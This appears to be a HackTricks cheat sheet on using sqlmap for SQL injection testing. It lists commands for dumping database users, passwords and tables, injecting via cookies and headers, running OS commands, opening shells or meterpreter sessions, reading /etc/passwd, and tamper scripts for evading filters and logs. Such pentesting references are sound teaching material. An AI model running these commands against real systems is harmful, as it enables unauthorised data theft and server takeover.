hacktricks/pentesting-web/sql-injection/sqlmap

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Basic arguments for SQLmap

Generic

-u "<URL>" 
-p "<PARAM TO TEST>" 
--user-agent=SQLMAP 
--random-agent 
--threads=10 
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>" 
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

Retrieve Information

Internal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capture the request and create a req.txt file

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Indicate string when injection is successful

--string="string_showed_when_TRUE" 

Eval

Sqlmap allows the use of -e or --eval to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the flask cookie session is signed by flask with the known secret before sending it:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Read File

--file-read=/etc/passwd

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Second Order Injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Read this post about how to perform simple and complex second order injections with sqlmap.

Customizing Injection

Set a suffix

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help finding boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

Remember that you can create your own tamper in python and it's very simple. You can find a tamper example in the Second Order Injection page here.

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper

Tamper	Description
apostrophemask.py	Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py	Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py	Appends encoded NULL byte character at the end of payload
base64encode.py	Base64 all characters in a given payload
between.py	Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py	Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py	Double url-encodes all characters in a given payload (not processing already encoded)
commalesslimit.py	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
concat2concatws.py	Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py	Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022"
charunicodeescape.py	Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022"
equaltolike.py	Replaces all occurances of operator equal ('=') with operator 'LIKE'
escapequotes.py	Slash escape quotes (' and ")
greatest.py	Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py	Adds versioned MySQL comment before each keyword
ifnull2ifisnull.py	Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
modsecurityversioned.py	Embraces complete query with versioned comment
modsecurityzeroversioned.py	Embraces complete query with zero-versioned comment
multiplespaces.py	Adds multiple spaces around SQL keywords
nonrecursivereplacement.py	Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
percentage.py	Adds a percentage sign ('%') infront of each character
overlongutf8.py	Converts all characters in a given payload (not processing already encoded)
randomcase.py	Replaces each keyword character with random case value
randomcomments.py	Add random comments to SQL keywords
securesphere.py	Appends special crafted string
sp_password.py	Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py	Replaces space character (' ') with comments
space2dash.py	Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mssqlhash.py	Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py	Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py	Replaces space character (' ') with plus ('+')
space2randomblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py	Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py	Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py	Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py	Replaces each keyword character with upper case value 'INSERT'
varnish.py	Append a HTTP header 'X-originating-IP'
versionedkeywords.py	Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py	Encloses each keyword with versioned MySQL comment
xforwardedfor.py	Append a fake HTTP header 'X-Forwarded-For'

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• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

• Discover The PEASS Family, our collection of exclusive NFTs

• Get the official PEASS & HackTricks swag

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.